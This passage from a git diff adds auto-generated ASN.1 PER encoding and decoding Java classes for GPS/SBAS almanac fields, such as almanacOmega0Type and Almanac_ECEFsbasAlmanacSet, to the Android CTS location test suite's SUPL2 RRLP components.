+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "almanacSVhealthType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class almanacAPowerHalfType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_almanacAPowerHalfType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public almanacAPowerHalfType() {
+ super();
+ setValueRange("0", "16777215");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_almanacAPowerHalfType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_almanacAPowerHalfType != null) {
+ return ImmutableList.of(TAG_almanacAPowerHalfType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new almanacAPowerHalfType from encoded stream.
+ */
+ public static almanacAPowerHalfType fromPerUnaligned(byte[] encodedBytes) {
+ almanacAPowerHalfType result = new almanacAPowerHalfType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new almanacAPowerHalfType from encoded stream.
+ */
+ public static almanacAPowerHalfType fromPerAligned(byte[] encodedBytes) {
+ almanacAPowerHalfType result = new almanacAPowerHalfType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "almanacAPowerHalfType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class almanacOmega0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_almanacOmega0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public almanacOmega0Type() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_almanacOmega0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_almanacOmega0Type != null) {
+ return ImmutableList.of(TAG_almanacOmega0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new almanacOmega0Type from encoded stream.
+ */
+ public static almanacOmega0Type fromPerUnaligned(byte[] encodedBytes) {
+ almanacOmega0Type result = new almanacOmega0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new almanacOmega0Type from encoded stream.
+ */
+ public static almanacOmega0Type fromPerAligned(byte[] encodedBytes) {
+ almanacOmega0Type result = new almanacOmega0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "almanacOmega0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class almanacWType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_almanacWType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public almanacWType() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_almanacWType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_almanacWType != null) {
+ return ImmutableList.of(TAG_almanacWType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new almanacWType from encoded stream.
+ */
+ public static almanacWType fromPerUnaligned(byte[] encodedBytes) {
+ almanacWType result = new almanacWType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new almanacWType from encoded stream.
+ */
+ public static almanacWType fromPerAligned(byte[] encodedBytes) {
+ almanacWType result = new almanacWType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "almanacWType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class almanacM0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_almanacM0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public almanacM0Type() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_almanacM0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_almanacM0Type != null) {
+ return ImmutableList.of(TAG_almanacM0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new almanacM0Type from encoded stream.
+ */
+ public static almanacM0Type fromPerUnaligned(byte[] encodedBytes) {
+ almanacM0Type result = new almanacM0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new almanacM0Type from encoded stream.
+ */
+ public static almanacM0Type fromPerAligned(byte[] encodedBytes) {
+ almanacM0Type result = new almanacM0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "almanacM0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class almanacAF0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_almanacAF0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public almanacAF0Type() {
+ super();
+ setValueRange("-1024", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_almanacAF0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_almanacAF0Type != null) {
+ return ImmutableList.of(TAG_almanacAF0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new almanacAF0Type from encoded stream.
+ */
+ public static almanacAF0Type fromPerUnaligned(byte[] encodedBytes) {
+ almanacAF0Type result = new almanacAF0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new almanacAF0Type from encoded stream.
+ */
+ public static almanacAF0Type fromPerAligned(byte[] encodedBytes) {
+ almanacAF0Type result = new almanacAF0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "almanacAF0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class almanacAF1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_almanacAF1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public almanacAF1Type() {
+ super();
+ setValueRange("-1024", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_almanacAF1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_almanacAF1Type != null) {
+ return ImmutableList.of(TAG_almanacAF1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new almanacAF1Type from encoded stream.
+ */
+ public static almanacAF1Type fromPerUnaligned(byte[] encodedBytes) {
+ almanacAF1Type result = new almanacAF1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new almanacAF1Type from encoded stream.
+ */
+ public static almanacAF1Type fromPerAligned(byte[] encodedBytes) {
+ almanacAF1Type result = new almanacAF1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "almanacAF1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("AlmanacElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_ECEFsbasAlmanacSet.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_ECEFsbasAlmanacSet.java
new file mode 100755
index 0000000..936487c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_ECEFsbasAlmanacSet.java
@@ -0,0 +1,1496 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Almanac_ECEFsbasAlmanacSet extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Almanac_ECEFsbasAlmanacSet
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Almanac_ECEFsbasAlmanacSet() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Almanac_ECEFsbasAlmanacSet;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Almanac_ECEFsbasAlmanacSet != null) {
+ return ImmutableList.of(TAG_Almanac_ECEFsbasAlmanacSet);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Almanac_ECEFsbasAlmanacSet from encoded stream.
+ */
+ public static Almanac_ECEFsbasAlmanacSet fromPerUnaligned(byte[] encodedBytes) {
+ Almanac_ECEFsbasAlmanacSet result = new Almanac_ECEFsbasAlmanacSet();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Almanac_ECEFsbasAlmanacSet from encoded stream.
+ */
+ public static Almanac_ECEFsbasAlmanacSet fromPerAligned(byte[] encodedBytes) {
+ Almanac_ECEFsbasAlmanacSet result = new Almanac_ECEFsbasAlmanacSet();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Almanac_ECEFsbasAlmanacSet.sbasAlmDataIDType sbasAlmDataID_;
+ public Almanac_ECEFsbasAlmanacSet.sbasAlmDataIDType getSbasAlmDataID() {
+ return sbasAlmDataID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_ECEFsbasAlmanacSet.sbasAlmDataIDType
+ */
+ public void setSbasAlmDataID(Asn1Object value) {
+ this.sbasAlmDataID_ = (Almanac_ECEFsbasAlmanacSet.sbasAlmDataIDType) value;
+ }
+ public Almanac_ECEFsbasAlmanacSet.sbasAlmDataIDType setSbasAlmDataIDToNewInstance() {
+ sbasAlmDataID_ = new Almanac_ECEFsbasAlmanacSet.sbasAlmDataIDType();
+ return sbasAlmDataID_;
+ }
+
+ private SVID svID_;
+ public SVID getSvID() {
+ return svID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SVID
+ */
+ public void setSvID(Asn1Object value) {
+ this.svID_ = (SVID) value;
+ }
+ public SVID setSvIDToNewInstance() {
+ svID_ = new SVID();
+ return svID_;
+ }
+
+ private Almanac_ECEFsbasAlmanacSet.sbasAlmHealthType sbasAlmHealth_;
+ public Almanac_ECEFsbasAlmanacSet.sbasAlmHealthType getSbasAlmHealth() {
+ return sbasAlmHealth_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_ECEFsbasAlmanacSet.sbasAlmHealthType
+ */
+ public void setSbasAlmHealth(Asn1Object value) {
+ this.sbasAlmHealth_ = (Almanac_ECEFsbasAlmanacSet.sbasAlmHealthType) value;
+ }
+ public Almanac_ECEFsbasAlmanacSet.sbasAlmHealthType setSbasAlmHealthToNewInstance() {
+ sbasAlmHealth_ = new Almanac_ECEFsbasAlmanacSet.sbasAlmHealthType();
+ return sbasAlmHealth_;
+ }
+
+ private Almanac_ECEFsbasAlmanacSet.sbasAlmXgType sbasAlmXg_;
+ public Almanac_ECEFsbasAlmanacSet.sbasAlmXgType getSbasAlmXg() {
+ return sbasAlmXg_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_ECEFsbasAlmanacSet.sbasAlmXgType
+ */
+ public void setSbasAlmXg(Asn1Object value) {
+ this.sbasAlmXg_ = (Almanac_ECEFsbasAlmanacSet.sbasAlmXgType) value;
+ }
+ public Almanac_ECEFsbasAlmanacSet.sbasAlmXgType setSbasAlmXgToNewInstance() {
+ sbasAlmXg_ = new Almanac_ECEFsbasAlmanacSet.sbasAlmXgType();
+ return sbasAlmXg_;
+ }
+
+ private Almanac_ECEFsbasAlmanacSet.sbasAlmYgType sbasAlmYg_;
+ public Almanac_ECEFsbasAlmanacSet.sbasAlmYgType getSbasAlmYg() {
+ return sbasAlmYg_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_ECEFsbasAlmanacSet.sbasAlmYgType
+ */
+ public void setSbasAlmYg(Asn1Object value) {
+ this.sbasAlmYg_ = (Almanac_ECEFsbasAlmanacSet.sbasAlmYgType) value;
+ }
+ public Almanac_ECEFsbasAlmanacSet.sbasAlmYgType setSbasAlmYgToNewInstance() {
+ sbasAlmYg_ = new Almanac_ECEFsbasAlmanacSet.sbasAlmYgType();
+ return sbasAlmYg_;
+ }
+
+ private Almanac_ECEFsbasAlmanacSet.sbasAlmZgType sbasAlmZg_;
+ public Almanac_ECEFsbasAlmanacSet.sbasAlmZgType getSbasAlmZg() {
+ return sbasAlmZg_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_ECEFsbasAlmanacSet.sbasAlmZgType
+ */
+ public void setSbasAlmZg(Asn1Object value) {
+ this.sbasAlmZg_ = (Almanac_ECEFsbasAlmanacSet.sbasAlmZgType) value;
+ }
+ public Almanac_ECEFsbasAlmanacSet.sbasAlmZgType setSbasAlmZgToNewInstance() {
+ sbasAlmZg_ = new Almanac_ECEFsbasAlmanacSet.sbasAlmZgType();
+ return sbasAlmZg_;
+ }
+
+ private Almanac_ECEFsbasAlmanacSet.sbasAlmXgdotType sbasAlmXgdot_;
+ public Almanac_ECEFsbasAlmanacSet.sbasAlmXgdotType getSbasAlmXgdot() {
+ return sbasAlmXgdot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_ECEFsbasAlmanacSet.sbasAlmXgdotType
+ */
+ public void setSbasAlmXgdot(Asn1Object value) {
+ this.sbasAlmXgdot_ = (Almanac_ECEFsbasAlmanacSet.sbasAlmXgdotType) value;
+ }
+ public Almanac_ECEFsbasAlmanacSet.sbasAlmXgdotType setSbasAlmXgdotToNewInstance() {
+ sbasAlmXgdot_ = new Almanac_ECEFsbasAlmanacSet.sbasAlmXgdotType();
+ return sbasAlmXgdot_;
+ }
+
+ private Almanac_ECEFsbasAlmanacSet.sbasAlmYgDotType sbasAlmYgDot_;
+ public Almanac_ECEFsbasAlmanacSet.sbasAlmYgDotType getSbasAlmYgDot() {
+ return sbasAlmYgDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_ECEFsbasAlmanacSet.sbasAlmYgDotType
+ */
+ public void setSbasAlmYgDot(Asn1Object value) {
+ this.sbasAlmYgDot_ = (Almanac_ECEFsbasAlmanacSet.sbasAlmYgDotType) value;
+ }
+ public Almanac_ECEFsbasAlmanacSet.sbasAlmYgDotType setSbasAlmYgDotToNewInstance() {
+ sbasAlmYgDot_ = new Almanac_ECEFsbasAlmanacSet.sbasAlmYgDotType();
+ return sbasAlmYgDot_;
+ }
+
+ private Almanac_ECEFsbasAlmanacSet.sbasAlmZgDotType sbasAlmZgDot_;
+ public Almanac_ECEFsbasAlmanacSet.sbasAlmZgDotType getSbasAlmZgDot() {
+ return sbasAlmZgDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_ECEFsbasAlmanacSet.sbasAlmZgDotType
+ */
+ public void setSbasAlmZgDot(Asn1Object value) {
+ this.sbasAlmZgDot_ = (Almanac_ECEFsbasAlmanacSet.sbasAlmZgDotType) value;
+ }
+ public Almanac_ECEFsbasAlmanacSet.sbasAlmZgDotType setSbasAlmZgDotToNewInstance() {
+ sbasAlmZgDot_ = new Almanac_ECEFsbasAlmanacSet.sbasAlmZgDotType();
+ return sbasAlmZgDot_;
+ }
+
+ private Almanac_ECEFsbasAlmanacSet.sbasAlmToType sbasAlmTo_;
+ public Almanac_ECEFsbasAlmanacSet.sbasAlmToType getSbasAlmTo() {
+ return sbasAlmTo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_ECEFsbasAlmanacSet.sbasAlmToType
+ */
+ public void setSbasAlmTo(Asn1Object value) {
+ this.sbasAlmTo_ = (Almanac_ECEFsbasAlmanacSet.sbasAlmToType) value;
+ }
+ public Almanac_ECEFsbasAlmanacSet.sbasAlmToType setSbasAlmToToNewInstance() {
+ sbasAlmTo_ = new Almanac_ECEFsbasAlmanacSet.sbasAlmToType();
+ return sbasAlmTo_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasAlmDataID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasAlmDataID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasAlmDataIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_ECEFsbasAlmanacSet.sbasAlmDataIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasAlmDataID : "
+ + getSbasAlmDataID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSvID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSvID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSvIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SVID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "svID : "
+ + getSvID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasAlmHealth() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasAlmHealth();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasAlmHealthToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_ECEFsbasAlmanacSet.sbasAlmHealthType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasAlmHealth : "
+ + getSbasAlmHealth().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasAlmXg() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasAlmXg();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasAlmXgToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_ECEFsbasAlmanacSet.sbasAlmXgType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasAlmXg : "
+ + getSbasAlmXg().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasAlmYg() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasAlmYg();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasAlmYgToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_ECEFsbasAlmanacSet.sbasAlmYgType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasAlmYg : "
+ + getSbasAlmYg().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasAlmZg() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasAlmZg();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasAlmZgToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_ECEFsbasAlmanacSet.sbasAlmZgType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasAlmZg : "
+ + getSbasAlmZg().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasAlmXgdot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasAlmXgdot();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasAlmXgdotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_ECEFsbasAlmanacSet.sbasAlmXgdotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasAlmXgdot : "
+ + getSbasAlmXgdot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasAlmYgDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasAlmYgDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasAlmYgDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_ECEFsbasAlmanacSet.sbasAlmYgDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
